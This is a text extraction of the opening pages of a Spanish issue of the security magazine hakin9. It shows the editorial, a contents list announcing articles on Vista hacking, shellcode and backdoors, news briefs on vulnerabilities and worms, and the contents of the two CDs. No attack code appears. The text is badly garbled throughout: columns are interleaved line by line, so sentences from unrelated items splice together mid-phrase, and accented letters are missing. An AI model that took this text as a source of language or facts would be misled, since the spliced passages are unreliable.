Está en la página 1de 84

hakin9

Bienvenidos en 2007
Con mucha alegra os saludamos en el ano 2007. Empezamos
un ao nuevo con muchas esperanzas de ser mejores y ms
En breve 6
interesantes para nuestros Lectores. Junto con este nmero os
Resaltamos las noticias ms importantes del mundo
entregamos dos CDs: el primero es, el bien conocido, hakin9 live
de la seguridad de sistemas informticos.
con distribucin bootable de Aurox. En este CD vais a encontrar
tambin dos aplicaciones comerciales : gratis especialmente para Contenido de CD1 hakin9.live 10
nuestros Lectores. AdventNet QEngine Issue Manager es soft-
ware basado en pginas Web para cuestiones de administracin Comentamos el contenido y el funcionamiento de
que te ofrece la facilidad de buscar gusanos, administracin de nuestra distribucin hakin9.live.
proyectos, perfeccinamiento, rasgos de administracin de tareas
y deteccin. VIP Defense VIP Privacy te protege del poten- Contenido de CD2 CCNA Cisco 12
cial riesgo, haciendo que a los delincuentes no les queda Comentamos que es CCNA de Cisco
nada por robar. VIP Privacy permite a los usuarios buscar
y seguramente limpiar toda la informacin almacenada dentro de
tu sistema y de las aplicaciones instaladas.
En el CD2 se encuentra curso CCNA de Cisco. El obje- Herramientas
tivo del este curso es que los Lectores conozcan la tecno- Scanrand
loga de la empresa Cisco y ayudarles en la configuracin (parte de Paketto Keiretsu) 14
de los routers Cisco. El objetivo principal de la ponencia es
presentar la informacin bsica requerida durante los ex- Damian Szewczyk
menes certificados Cisco CCNA. La ponencia se concentra
Digamos que quieres realizar un rpido escaneo
sobre todo, en la parte prctica. Sin embargo, no faltan des-
de red, comprueba los hospedajes disponibles as
cripciones de los elementos necesarios con el trabajo en un
como los servicios que funcionan en ellos. Puedes
equipo real o simulado.
decir: Hola, Tengo nmap! Nmap seguramente es la
Como podis notar han cambiado las secciones de la revista.
herramienta ms popular para ello. Pero si el tiempo
Para hacerla an ms interesante, tras consultas con nuestros
ms importa, prueba Scanrand. Es un escner de red
Betatesters, decidimos cambiar las secciones anteriores por
muy eficiente.
Ataque, Defensa y Para Principiantes. Esto permitir orientaros
ms fcilmente en el contenido de cada nmero. Esta vez en Difusor de empleo general (GPF) 15
seccin Ataque se encuentran artculos: Hackea Vista un tema
muy caliente e interesante. Windows Vista llama mucha atencin Jared DeMott
de todos los usuarios de ordenadores, tanto profesionales como GPF suministra a los desarrolladores, investigadores
aficionados. Gracias a este artculo podis mirar Vista por dentro de seguridad y a los profesionales de certificacin
y conocer algunas de sus vulnerabilidades. Joanna Rutkowska de calidad la capacidad de buscar rpidamente
fue la primera en hackearlo: ahora tienes la oportunidad de hacer gazapos/vulnerabilidades en la interfaz expuesta de
lo mismo. Los que recien os interesis por temas de seguri- aplicaciones conectadas en red. GPF emplea sesio-
dad podis aprender a crear vuestro propio Backdoor. En nes de paquetes capturados (archivos pcap) para
nuestra seccin Para Principiantes se encuentra el artculo construir la descripcin del protocolo del trfico real.
Backdoors Multiplataformas.
Nos gustara invitaros a participar en nuestro Club PRO:
toda la informacin sobre dicho Club podis encontrar en Ataque
la pgina 25. Es una oferta muy interesante para todas las Hackea Windows Vista! 16
empresas del sector de seguridad IT. Gracias a esta oportu-
nidad podis dar a conocer vuestra empresa en los merca- Cristin D. Argentero
dos de Espaa y America de Sur. Cuenta una bella historia que Microsoft Corp. invi-
Tambin estamos muy interesados en entablar coope- taba a los asistentes expertos y especialistas en
racin con todas las empresas que quieran aprovechar la Seguridad Informtica -vase, Hackers - a la pres-
oportunidad de promoverse por medio de artculos publica- tigiosa conferencia de Black Hat realizada cada ao
dos en nuestra revista. Creemos que no hay mejores auto- en Las Vegas. Es un acontecimiento que rene a los
res que los profesionales que trabajan la mayor parte de su gurs ms idneos en la materia a lo largo y lo ancho
vida en el sector de seguridad de informacin. Por lo tanto de todo El Mundo.
estamos muy abiertos a las propuestas de artculos escritos
por los expertos de vuestras empresas. Es una buena forma Explotacin en la pila:
de promover a la empresa de forma gratuita. la tcnica off-by-one 22
Os invito a leer este nmero y a enviarnos vuestros
comentarios. Lo podis hacer de forma ms frecuente convir- Jacobo Averiento Gimeno
tiendoos en nuestros Betatesters. Participar como Betatester Cuando programamos usando el lenguaje C debe-
significa recibir todo el material que nos llega, mucho antes de mos ser cuidadosos con la reserva de memoria y el
la publicacin, leerlo y enviarnos vuestras opiniones. Es muy uso de variables, ya que si reservamos un buffer y no
til para os que deseis aprender ms y estar bien informa- hacemos un buen uso podemos provocar su desbor-
dos sobre todas las novedades en campo de seguridad. damiento y que un atacante se aproveche de esta
Os deseo buena lectura circunstancia para tomar el control del programa.
Katarzyna Chauca

4 www.hakin9.org
hakin9
est editado por Software-Wydawnictwo Sp. z o.o.
Inyeccin de trfico y tcnicas Direccin: Software-Wydawnictwo Sp. z o.o.
ul. Bokserska 1, 02-682 Varsovia, Polonia
de deteccin de MAC spoofing Tfno: +48 22 887 10 10, Fax: +48 22 887 10 11
en Wi-Fi 36 www.hakin9.org
Produccin: Marta Kurpiewska marta@software.com.pl
Distribucin: Monika Godlewska monikag@software.com.pl
Asier Martnez Redactora jefe: Katarzyna Chauca katarzyna.chauca@software.com.pl
La falsificacin de tramas y la impersonacin de Redactora adjunta: Anna Marcinkiewicz
anna.marcinkiewicz@software.com.pl
estaciones en redes Wi-Fi son la base para la rea- Preparacin del CD: Rafa Kwany (Aurox Core Team)
lizacin de la mayora de los ataques existentes, no Composicin: Artur Wieczorek arturw@software.com.pl
obstante, los sistemas de deteccin de intrusiones Traduccin: Osiris Pimentel Cobas, Mariusz Muszak, Ral Nanclares,
usan tcnicas fiables que permiten detectar esas Paulina Stosik
Correccin: Jess Alvrez Rodrgez, Jorge Barrio Alfonso
tramas falsificadas. Betatesters: Juan Prez Moya, Jose M. Garca Alias, Luis Peralta Nieto,
Jose Luis Herrera, Paco Galn
La evolucin de los cdigos Shell 52
Publicidad: adv@software.com.pl
Itzik Kotler Suscripcin: suscripcion@software.com.pl
Diseo portada: Agnieszka Marchocka
El cdigo shell es un fragmento de cdigo mquina
utilizado como la carga en la explotacin de un fallo Las personas interesadas en cooperacin rogamos
del software. Cada vez que se altera el flujo de un se contacten: cooperation@software.com.pl
programa, los cdigos shell se convierten en su Si ests interesado en comprar la licencia para editar nuestras revistas
continuacin lgica. Explotar las vulnerabilidades contctanos:
como el desbordamiento de buffer, o el ataque de la Monika Godlewska
e-mail: monikag@software.com.pl
cadena de formato requiere de un cdigo shell, que tel.: +48 22 887 12 66
con frecuencia es una parte de la carga explosiva del fax: +48 22 887 10 11
ataque. El mismo cdigo que se ejecutar cuando
haya tenido xito el proceso de explotacin, es el Imprenta: 101 Studio, Firma Tgi
Distribuye: coedis, s.l.
cdigo shell. Avd. Barcelona, 225
08750 Molins de Rei (Barcelona), Espaa
Para principiantes
Backdoors Multiplataformas 62 La Redaccin se ha esforzado para que el material publicado en la revista
y en el CD que la acompaa funcione correctamente. Sin embargo, no se
responsabiliza de los posibles problemas que puedan surgir.
Jose Mara Garca Todas las marcas comerciales mencionadas en la revista son propiedad de
En este artculo voy a tratar de explicar cmo crear las empresas correspondientes y han sido usadas nicamente con fines
informativos.
una Backdoor o Puerta Trasera con conexin inversa
y protegida por contrasea, en lenguaje C para Win-
dows y Linux a la vez, pero antes de comenzar debo Advertencia!
dar unas pequeas nociones sobre programacin de Queda prohibida la reproduccin total o parcial de esta publicacin
peridica, por cualquier medio o procedimiento, sin para ello contar
sockets para que los que no sepan programarlos,
con la autorizacin previa, expresa y por escrito del editor.
tambin aprendan.
XSS Cross-Site Scripting 70
La Redaccin usa el sistema de composicin automtica
Paul Sebastian Ziegler Los diagramas han sido elaborados con el programa
de la empresa
Desde que internet se ha convertido en parte esen- El CD incluido en la revista ha sido comprobado con el programa
cial de la vida de muchas personas, la seguridad de AntiVirenKit, producto de la empresa G Data Software Sp. z o.o.
los sitios web se ha convertido en preocupacin de
primer orden. La inyeccin de cdigo en las partes
cambiantes de los sitos web dinmicos supone una La revista hakin9 es editada en 7 idiomas:
peligrosa amenaza, pero tambin muy interesante,
ES PL CZ EN
para la seguridad.
IT FR DE

Notificaciones 82
Avance de los artculos que se encontrarn en la Advertencia
siguiente edicin de nuestra revista. Las tcnicas presentadas en los artculos se pueden usar SLO
para realizar los tests de sus propias redes de ordenadores!
La Redaccin no responde del uso inadecuado de las tcnicas
descritas. El uso de las tcnicas presentadas puede provocar la
prdida de datos!

www.hakin9.org hakin9 Nr 2/2006 5


Breves

Slo el 54% de usuarios Trend Micro presenta InterCloud


cree que su privacidad es
respetada en Internet Security Service, innovador servicio
As lo revela la encuesta de la UIT contra las redes zombi
en la que tambin se refleja que el

T
80% estima que la privacidad es rend Micro Incorporated ha que Trend Micro InterCloud Security
importante mientras se navega. anunciado hoy el lanzamiento de Service identifica y asla eficaz-
Adems el 64% confirma que no
realiza determinadas actividades
su nuevo servicio de seguridad en mente estas amenazas en tiempo
online por miedo al uso fraudulento contenidos, InterCloud Security Ser- real, por lo que anula su habilidad de
de sus datos o la vulneracin de vice. Esta nueva solucin es la ms iniciar cualquier ataque o propagar
algunos de sus derechos. Informa- avanzada en el mercado e incorpora infecciones.
cin obtenida de Comunicaciones el innovador Trend Behavioral Anali- Trend Micro incorpora a esta
World.
sis Security Engine, que ofrece a sus solucin el acceso a una plataforma
Espaa, tercer pas con clientes proteccin automatizada de prestacin de servicios con
ms ataques de phising frente a redes zombi basada en el experiencia en amenazas. Gestio-
Segn informe mensual de RSA anlisis de comportamiento. nada por un grupo internacional de
Security fueron ocho los bancos El nuevo InterCloud Security ayuda, cuenta con actualizaciones
espaoles sobre los que se fun-
damentaron los ataques, si bien
Service est diseado para satis- de seguridad ofrecidas para la
uno de ellos concentro el 60% de facer los requisitos de rendimiento identificacin de redes zombi. Este
la actividad fraudulente. El nmero y escalabilidad de los proveedores grupo internacional est formado
total de ataques situa a Espaa de servicios de Internet, universi- por especialistas en seguridad,
slo por detrs de EE.UU. y Gran dades y cualquier proveedor online. cuya labor es la supervisin de la
Bretaa. Informacin obtenida de
El ICSS incorpora una plataforma actividad de las redes zombi, el
elperiodico.com.
para la prestacin de servicios y la anlisis de su comportamiento y la
Cross site scripting suscripcin, que ofrece al usuario investigacin de los mecanismos
en ASP.NET 2.0 la posibilidad de tener lnea directa de distribucin.
Incluido en el conjunto de bole- con Trend Micro para tareas como Trend Micro tambin ha incluido
tines de seguridad de Microsoft
del pasado martes, se encuentra
identificacin, anlisis, atenuacin en su nuevo servicio un acceso
el anuncio de una vulnerabilidad y limpieza automtica de las ame- online para administradores que
de cross site scripting en servi- nazas. ofrece informacin adicional de
dores que ejecuten una versin El objetivo principal de ICSS utilidad sobre la actividad de las
vulnerable de .Net Framework es combatir el fenmeno cada vez redes zombi, as como funciones
2.0, y que podra permitir inyectar
ms extendido que suponen las propias para la gestin centralizada
cdigo script en el navegador del
usuario.Si un atacante aprovecha redes zombi (redes de equipos en de sus sistemas de red e informes
este problema, el script podra peligro que pueden ser controladas especficos sobre el historial de
permitir falsificar contenido, reve- remotamente por un atacante). ataques recientes.Hasta ahora, los
lacin de informacin, o ejecutar Entre las amenazas asociadas proveedores de servicios de Inter-
cualquier accin que el usuario a estas redes, se incluyen el fraude net han estado a merced de las
pudiese realizar en la pgina web.
por clic de ratn, los ataques de redes zombi que, con una actividad
Para que el ataque tenga xito
se requiere de la interaccin del denegacin de servicio, el spam centrada en el robo de los recursos
usuario. El fallo est relacionado y el robo de identidades a travs de de red, constituyen una amenaza
con la propiedad AutoPostBack una serie de tcnicas de phishing diaria para el bienestar de clientes
y la forma en la que NET Fra- y pharming, as como de otros tipos y empresas, afirma Jesus Vega,
mework 2.0 valida el valor de una de crimeware. Director General de Trend Micro
peticin HTTP. Actualice los siste-
mas afectados mediante Windows
El nuevo servicio de Trend Micro para Espaa y Portugal. A lo que
Update o descargando los parches cuenta con una tecnologa basada aade: con el lanzamiento de este
desde: http://www.microsoft.com/ en el anlisis del comportamiento, servicio y los recursos diseados
downloads/details.aspx?FamilyI conocida como Behavioral Analy- por expertos en redes zombi que
d=34C375AA-2F54-4416-B1FC- sis Security Engine (BASE). Esta lo acompaan, Trend Micro ofrece
B7 3 3 7 8 4 9 2 A A6 & d i s p l a yl a n g =
tecnologa analiza la aplicacin la primera solucin destinada a la
es, Ms Informacin: Microsoft
Security Bulletin MS06-056 Vul- y los datos de infraestructura de red eliminacin de redes zombi, con
nerability in ASP.NET 2.0 Could adicionales, incluidas las consultas la garanta de un fabricante de
Allow Information Disclosure http: DNS y los protocolos de acceso a total confianza en el mbito de la
//www.microsoft.com/technet/ Internet, con el fin de detectar un seguridad.
security/bulletin/ms06-056.mspx comportamiento anmalo asociado
a las redes zombi. El resultado es

6 www.hakin9.org
News

Agnitum Outpost Firewall Pro 4.0 Mltiples vulnerabilidades


en Novell eDirectory 8.x
Novell ha publicado actualizaciones

P ruebas independientes han de-


terminado que el Outpost fire-
wall Pro 4.0 de Agnitum es el soft-
Las caractersticas de autodefensa
o autoproteccin se han convertido en
un requisito para cualquier software
para varias vulnerabilidades en
Novell eDirectory que pueden ser
aprovechadas por atacantes remo-
ware cortafuegos con la mejor ca- de seguridad si quiere ser tomado tos no autenticados para compro-
meter un sistema vulnerable. Existe
pacidad de autodefensa frente ata- seriamente, sobretodo cuando algu-
un error de lmites en el motor NCP
ques directos y brutales que pue- nos virus, troyanos y spyware pueden a la hora de procesar NCP sobre
dan estropear, inhabilitar y cerrar inhabilitar o cerrar algunos software IP. Esto puede ser aprovechado
cortafuegos menos potentes. Out- de seguridad y as permitir que se para provocar un desbordamiento
post ha sido el nico de 13 softwares pueda robar con completa libertad de memoria basado en heap
cortafuegos que ha conseguido cualquier informacin o poner en fun- a travs de un paquete especial-
mente manipulado, que provocara
pasar las 38 pruebas llevadas a cabo cionamiento cualquier aplicacin que que eDirectory leyera un cantidad
por Guillame Kaddouch, experto estn programados para activar dijo de memoria especificada de datos
en seguridad de sistemas que Mikhail Penkovsky, vice presidente arbitrarios dentro de un bfer est-
tiene su web site de seguridad en de ventas y de comercializacin en tico. El atacante podra, sin creden-
firewallleaktester.com. Los resulta- Agnitum. Sabiendo que hay tantas ciales, ejecutar cdigo arbitrario con
privilegios de administrador o root,
dos de las pruebas estn disponibles tcnicas que se pueden utilizar para
con los que se ejecuta habitual-
en la web site de Kaddouch en http:// cerrar un programa, es interesante mente este proceso. Los fallos son
w w w.firewallleak tester.com / ter- para nosotros el poder valorar y ver un desbordamiento de enteros y una
mination.php.Virus. Troyanos y spy- cmo el Outpost Firewall Pro 4.0 pasa llamada a la funcin free con valores
wares a menudo intentan cerrar los las pruebas determinantes. Agnitum fuera de los lmites del array reser-
software de seguridad en el sistema ha sido siempre reconocido por su vado. Las vulnerabilidades se han
confirmado en la versin 8.8 y 8.8.1
que estn funcionando en vez de solidez y por la facilidad de uso de
aunque versiones anteriores pueden
intentar utilizar mtodos complejos todas sus aplicaciones de seguridad verse afectadas. Se han publicado
para evitarlos. La 'Prueba Determi- dijo Alexey Belkin, jefe de arquitectos soluciones para eDirectory Post
nante' que he hecho ha consistido de Software en Agnitum. Realizamos 8.8.1 FTF1 disponibles desde: Para
en comparar la resistencia real de un desarrollo continuo de tecnologas Windows: http://support.novell.com/
los cortafuegos contra el cerrado de de autoproteccin en Outpost Firewall servlet/filedownload/sec/pub/
edir881ftf_1.exe/, Para Linux\Unix:
los mismos- dijo Kaddouch. Cuando para salvaguardar y para prevenir http://support.novell.com/servlet/
Agnitum lanz el Outpost 4.0 con los ataques que estropean, cierran filedownload/sec/pub/edir881ftf_
sus propiedades de autodefensa, y exponen a los usuarios de cortafue- 1.tgz/
me llam la curiosidad su grado de gos menos potentes. Estamos encan-
Spam financiero
eficiencia y como resistira en com- tados con que nuestros fantsticos
El spam est siendo utilizado en los
paracin al resto de los cortafuegos resultados se hayan demostrado en ltimos meses como un instrumento
ms famosos del mercado un foro de opinin pblica. muy eficaz para alterar el precio
de las acciones en los mercados
Nuevo Windows, Live Service Agents financieros. El objetivo de este tipo
de spam, que contiene informacin
burstil en una imagen con un

M icrosoft anunci que compr a


la compaa Colloquis, empresa
que desarroll un bot sobre Messen-
segn sus desarrolladores, ya que son
capaces de procesar el lenguaje neu-
tral y su concurso es controlable por el
asunto indicado para evitar a los sis-
temas de filtrado anti-spam, parece
ser el de revalorizar rpidamente
ger para acceder a los contenidos de mismo usuario, no como los actuales paquetes de acciones comprados
Encarta. Por lo que a partir de ahora que saltan a cada minuto. El nuevo por particulares para lucrarse en la
venta pocos das despus, o bien
utilizar esta tecnologa para ofrecer servicio brindar bots para la men-
y lo que es menos probable que
un nuevo servicio a los usuarios de sajera instantnea inteligentes que se trate de las propias empresas
Windows Live Messenger, al que lla- podrn acceder a la informacin de que tratan as de aumentar su
mar Windows Live Service Agents. El ayuda y respondern a los usuarios. valor en bolsa. El modelo tpico de
bot desarrollado por Colloquis para la Los Windows Live Service Agents no spam financiero suele contener una
mensajera instantnea permite resol- van a ser el nico uso que Microsoft le imagen en la que el usuario puede
leer la informacin y en cuanto
ver bsquedas, da acceso a bases de va a dar a la tecnologa de Colloquis,
a los asuntos de dichos mensajes,
datos especializadas, fechas y calen- de entrada sern los usuarios de XBox no tienen nada que ver con el conte-
darios, as como da la oportunidad quienes sern los primeros en bene- nido, ya que el objetivo de todo ello
para nuevos modelos publicitarios. ficiarse como servicio de soporte, es tratar de evitar a los sistemas de
Este software tiene un gran potencial segn lo informado por la compaa. filtrado anti-spam.

www.hakin9.org 7
Breves

Warchalking Aladdin lanza su nuevo dispositivo


Tienes en tu domicilio o empresa,
una red inalmbrica Wifi y has hbrido que reduce el TCO en la
notado ltimamente una prdida Autenticacin Fuerte Basada en Token
en la velocidad de acceso o sa-

H
turacin a la hora de acceder a anunciado la disponibilidad proporciona a las organizaciones
a Internet?... entonces, es posible, del Aladdin eToken NG-OTP un mtodo an ms simple para
que alguien este aprovechando
2.0, la ltima versin del premiado la administracin de soluciones de
tu infraestructura para navegar
gratuitamente. La idea surgi de dispositivo hbrido USB y OTP autenticacin fuerte para emplea-
Matt Jones, a finales de junio de (solucin de autenticacin fuerte dos, partners y clientes. Con una
2006 y se ha extendido rpida- basada en contraseas de un slo importante reduccin de costes
mente por los EEUU, Inglaterra uso). El desarrollo de esta nueva asociados a la reposicin de los
y Dinamarca, aunque nadie sabe herramienta muestra el compromiso tokens una vez que finaliza la bate-
hasta donde ha llegado, dada la
popularidad de los distintos foros
de Aladdin de dar respuesta a la ra, eToken NG-OTP 2.0 ofrece un
en los que se esta promocionando demanda del mercado a travs de aumento de la capacidad de batera
este fenmeno. una administracin ms sencilla y un que dura aproximadamente unos
Un fenmeno, que, adems, importante ahorro de costes. cinco aos o 10.000 clicks. Aladdin
parte de un concepto totalmente eToken NG-OTP 2.0, est basado adems ofrece la posibilidad de
colaborativo y en el que sus pro-
en el potente Aladdin eToken NG- reemplazar la batera para eToken
motores dan a conocer sus hallaz-
gos a otros interesados, para que OTP presentado en 2005, combina NG-OTP 2.0, acabando con la nece-
estos mismos se beneficien del autenticacin USB y contraseas de sidad de sustituir el dispositivo una
acceso. Un pequeo ejrcito de un slo uso (OTP) en un nico token vez que la batera se agota.
internautas recorre las ciudades smart card. Esta nueva versin de Tras escuchar atentamente las
y las zonas de oficinas donde se eToken NG-OTP ofrece las siguien- necesidades de nuestros clientes
presume que puedan existir redes
tes caractersticas clave: y partners, nos complace presentar
WIFI. Equipados con porttiles
y tarjetas inalmbricas, exploran el eToken NG-OTP 2.0, con impor-
las redes existentes e intentan Mayor duracin de batera - tantes innovaciones y un diseo
encontrar aquellas que puedan Bateras considerablemente ms mejorado, afirma Shlomi Yanai,
ser usadas, por no contar con la potentes, vicepresidente de Aladdin eToken
proteccin debida, para el acceso Indicador de batera baja - Alerta Business Unit. Con la introduccin
a Internet.
Seguidamente, se toma nota de
cuando la pila (necesaria para la de este nuevo token, el fin de la
la direccin (que entrar a formar funcionalidad OTP) est baja, batera ya no significar el fin del
parte de algunos de los listados Nuevo diseo - Nueva carcasa token de autenticacin. Organiza-
que ya empiezan a circular) con botn de generacin de OTP ciones y usuarios se benefician as
y se marca la casa con tiza, para y LED ms ergonmicos, de la incorporacin de un indicador
advertir a otros geekies de las
Posibilidad de reemplazo de la de batera baja y de la capacidad
posibilidades de esta red y si esta,
o no, protegida. pila - Posibilidad de reemplazar de reemplazar la batera sin tener
Como muestra del espritu del la pila de los tokens al finalizar su que perder tiempo y dinero en la
Warchalking, se adopto la idea ciclo de vida, adquisicin de un nuevo token.
de los smbolos de los vaga- Con esta solucin, hemos incor-
bundos que viven por las calles Con una duracin de batera de las porado un ahorro mayor de costes
de las ciudades y su hbito de
mayores del mercado y mejoras y grandes ventajas a la ya larga
marcar los domicilios que ofre-
cen algn tipo de caridad para en el diseo, eToken NG-OTP 2.0 lista de beneficios de eToken.
recordarlos y comunicar al resto
de la comunidad de las ventajas
que pueden conseguir en esas
casas. Por lo que parece, la fiebre
esta tomando tal envergadura,
que responsables de seguridad
informtica, temen ver marcada
su casa o empresa... lo que sig-
nificara un trabajo mal hecho
y una puerta abierta para decenas
de usuarios que con sus porttiles
buscan redes libres para navegar
por Internet.

Figura 1. Pgina oficial de Alladin

8 www.hakin9.org
News

Masiva propagacin de variantes Vulnerabilidades en pro-


ductos Adobe
de gusano Stration/Spamta Adobe ha publicado varios boletines
de seguridad y contramedidas relati-

E set, proveedor de proteccin


antivirus, inform hoy la apa-
ricin de diversas variantes de un
nico, en ingls, que simulan provenir
del soporte tcnico de un proveedor
de internet, informando al usuario que
vas a sus productos. Los problemas
encontrados permiten la escalada
de privilegios, el acceso o informa-
cin sensible y afectan a tres de sus
gusano, llamado Win32/Stration, que se han detectado mensajes infectados
aplicaciones. Se ha detectado un
se propaga masivamente a travs de provenientes de su buzn de correo problema de seguridad en Adobe
correo electrnico, y que ha elevado y adjuntando un supuesto parche para Breeze Licensed Server que permite
notablemente las detecciones en los resolver el problema. a usuarios ver ficheros en el sistema
sensores de la empresa. Dicho archivo adjunto al mensaje vctima. El problema se basa en que
el software no valida correctamente
La familia de gusanos Win32/ de advertencia, en realidad, es el
la entrada URL proporcionada por
Stration es una de las ms activas de gusano Stration en s mismo, y si el usuario. A travs de una peticin
la actualidad; otras compaas llaman el usuario lo ejecuta, es infectado especialmente formada un atacante
Spamta a este cdigo malicioso, por el cdigo malicioso. Tras esto, podra visualizar ficheros arbitrarios.
y durante los meses de Septiembre el gusano intentar detener las apli- Slo la rama 5.x del producto se
y Octubre se han encontrado decenas caciones de seguridad con las que ve afectada. Se ha detectado otro
problema de seguridad en Adobe
de variantes distintas de la amenaza. cuente el equipo infectado, y conti-
Contribute Publishing Server que
Eset NOD32 detect la avalancha de nuar su propagacin. permite a un atacante local obtener
mensajes infectados durante la noche Aunque los mensajes y nombres la contrasea de administrador. El
automticamente gracias a su tec- de archivos de correo adjunto varan fallo se debe a que los logs gene-
nologa ThreatSense de heurstica entre las variantes actualmente en rados durante la instalacin del
avanzada, inicialmente bajo el nombre circulacin, los formatos suelen producto, escriben la contrasea en
texto claro. Un atacante local podra
de NewHeur_PE, lo cual permiti que tener un formato similar al siguiente:
tener acceso a estos datos y obte-
los usuarios del producto estuvieran Update-KB8281-x86.exe ner la contrasea de administrador
protegidos en todo momento ante esta Nunca se haba detectado tan establecida durante la instalacin
nueva amenaza. Informes iniciales de altos niveles de actividad vrica del producto. Para solventar el pro-
laboratorios independientes mostraron en tan poco tiempo a travs de blema, Adobe recomienda modificar
la contrasea de administrador esta-
que pocos productos antivirus lograron VirusRadar.com. Lo sucedido con
blecida durante la instalacin, o bien
detectar inicialmente a esta amenaza. esta nueva oleada del gusano borrar los archivos de registro gene-
Uno de los sensores de Eset, Stration es una muestra clara de rados durante la instalacin. Los
VirusRadar.com, lleg a detectar la importancia de la deteccin pro- parches estn disponibles desde la
picos donde 1 de cada 5 mensajes activa, ya que los usuarios de Eset pgina del boletn. Por ltimo, se
analizados estaban infectados por NOD32 estuvieron siempre protegi- ha encontrado una vulnerabilidad
en Adobe ColdFusion. Un atacante
alguna variante de Stration, algo dos gracias a la tecnologa heurstica
local podra obtener privilegios de
fuera de lo comn en los ltimos tiem- ThreatSense, coment Vicente Coll, Local System en el sistema afec-
pos. Se han encontrado, inicialmente, Vicepresidente de Eset para Espaa tado. El fallo se debe a un problema
mensajes infectados en Estados y Gerente de Ontinet.com, S.L. La en una librera de terceros (Verity
Unidos, Europa, Japn, Sudfrica heurstica toma un papel important- Library) que permite ejecutar cdigo
y algunos pases de Sudamrica. simo con tan altos niveles de propa- arbitrario con privilegios de Local
System. Las versiones afectadas
Stration es capaz de llegar a tra- gacin, concluy.
son ColdFusion MX 7, ColdFusion
vs de mensajes de correo electr- MX 7.0.1, y ColdFusion MX 7.0.2.
Segn plataforma, los parches
estn disponibles desde:
http://download.macromedia.com/
pub/coldfusion/updater/verity_
security_update_windows.zip
http://download.macromedia.com/
pub/coldfusion/updater/verity_
security_update_solaris.tar.gz
http://download.macromedia.com/
pub/coldfusion/updater/verity_
security_update_linux.tar.gz
Tambin es posible deshabilitar
la librera afectada. En todos los
casos, se recomienda seguir las
instrucciones del fabricante.
Figura 2. Eset virus radar on-line

www.hakin9.org 9
hakin9.live

Contenido de CD1 hakin9.live

E
n el disco que acompaa a la revista se encuentra Suponemos que el usuario emplea hakin9.live. Gra-
hakin9.live (h9l) en la versin 3.1.1 - aur distribu- cias a ello evitaremos los problemas relacionados con
cin bootable de Aurox que incluye tiles herra- las diferentes versiones de los compiladores, la diferente
mientas, documentacin, tutoriales y material adicional localizacin de los archivos de configuracin u opciones
de los artculos. Para empezar el trabajo con hakin9.live, necesarias para ejecutar la aplicacin en el entorno da-
es suficiente ejecutar el ordenador desde el CD. Des- do.
pus de ejecutar el sistema podemos registrarnos como Especialmente para nuestros Lectores CD1 contiene
usuario hakin9 sin introducir contrasea. aplicaciones comerciales:
El material adicional se encuentra en los siguientes
directorios: AdventNet QEngine Issue Manager es software
basado en paginas Web para cuestiones de admi-
docs documentacin en formato HTML, nistracin que te ofrece la facilidad de buscar gusa-
art material complementario a los artculos: scripts, nos, administracin de proyectos, perfeccinamiento,
aplicaciones, programas necesarios rasgos de administracin de tareas y deteccin. El
tut tutoriales, tutoriales tipo SWF sistema de QIM de buscar gusanos suministra control
de acceso basado en funciones, manejo de anexos,
Los materiales antiguos se encuentran en los subdi- administracin de horario, notoficacin automatica de
rectorios _arch, en cambio, los nuevos en los direc- correo electrnico, transferencia de documentacin
torios principales segn la estructura mencionada. En de trabajo, resolucin, registros de trabajo, segu-
caso de explorar el disco desde el nivel de arranque de miento de tiempo, reglas de negocios, autenticacin
hakin9.live, esta estructura est accesible desde el sub- activa de directorios, agregacin de fotos de pantalla,
directorio /mnt/cdrom. facil envio de infomes y ajuste a las necesidades indi-
Construimos la versin 3.1.1 aur h9l en base a la viduales.
distribucin de Aurox 12.0 y de los scripts de generacin VIP Defense VIP Privacy te protege del potencial
automatica (www.aurox.org/pl/live). Las herramientas no riesgo, haciendo que a los delincuentes no les queda
accesibles desde el CD se instalan desde el repositorio nada por robar. VIP Privacy permite a los usuarios
de Arox con el programa yum. buscar y seguramente limpiar toda la informacin al-
En h9l encontraremos un programa de instalacin macenada dentro de tu sistema y de las aplicaciones
(Aurox Live Instaler). Despues de instalar en el disco se instaladas. Esto, de ninguna forma, elimina tus archi-
puede emplear el comando yum para instalar programas vos privados ni cambia el contendo de los documen-
adicionales. tos de usuario. l

Tutoriales y documentacin
La documentacin est compuesta de, entre otros, tuto-
riales preparados por la redaccin que incluyen ejercicios
prcticos de los artculos

Figura 1. Bienvenidos a hakin9.live Figura 2. Pgina oficial de Vip Defense

10 www.hakin9.org
Si no puedes leer el contenido del CD y no es culpa de un dao
mecnico, contrlalo en por lo menos dos impulsiones de CD.

En caso de cualquier problema con CD rogamos


escribis a: cd@software.com.pl
hakin9.live

Contenido de CD2 CCNA

E
l objetivo del presente cursillo es que los clien- cada cierto tiempo, normalmente cada dos o tres aos, es
tes conozcan la tecnologa de la empresa Cisco decir, es necesario volver a aprobar los exmenes.
y ayudarles en la configuracin de los routers El cursillo est dividido en la parte terica y prcti-
Cisco. El objetivo principal de la ponencia es presentar ca. Al principio conoceremos los trminos bsicos y los
la informacin bsica requerida durante los exmenes comandos empleados en la configuracin de los routers
certificados Cisco CCNA. La ponencia se concentrar Cisco.
sobre todo, en la parte prctica. Sin embargo, no faltarn Los laboratorios se dividen en:
descripciones de los elementos necesarios con el trabajo Conexin al router real Cisco y la comunicacin al
en un equipo real o simulado. router a travs de la aplicacin HyperTerminal. Abrimos
Cisco introdujo varios niveles de certificacin, desde la sesin HyperTerminal. Veremos como por primera vez
los bsicos, para cuya consecucin se requieren conoci- ejecutar el router a travs del empleo de los respectivos
mientos sobre redes pequeas, que incluyen el mercado comandos y de la secuencia de inicio y realizar la confi-
de pequeas oficinas y redes locales, hasta los ms guracin bsica del router real.
avanzados y complicados entornos de red. Adems de Restablecimiento de contraseas en el router. En esta
la divisin en diferentes niveles de dificultad, los respec- parte se describieron unas tcnicas de restablecimiento
tivos ttulos se agruparon teniendo en cuenta los tipos de de contraseas para los router Cisco. Las tareas enume-
temas a los cuales se refieren. As podemos conseguir radas aqu se pueden realizar en la mayora de los router
el certificado de diseo de redes, conmutacin y routing, Cisco sin modificar los equipos.
protecciones, tcnicas de conmutacin en las redes ex- Introduccin en la interfaz de usuario y comandos
tendidas WAN etc. bsicos. En cambio, aqu durante algunos ejercicios co-
Para conseguir cualquier certificado Cisco, debemos noceremos los bsicos comandos y opciones empleadas
aprobar al menos uno y normalmente varios exmenes. desde el intrprete de comandos de los router Cisco.
Los conocimientos del candidato se comprueban terica CDP. Conoceremos los mensajes bsicos relaciona-
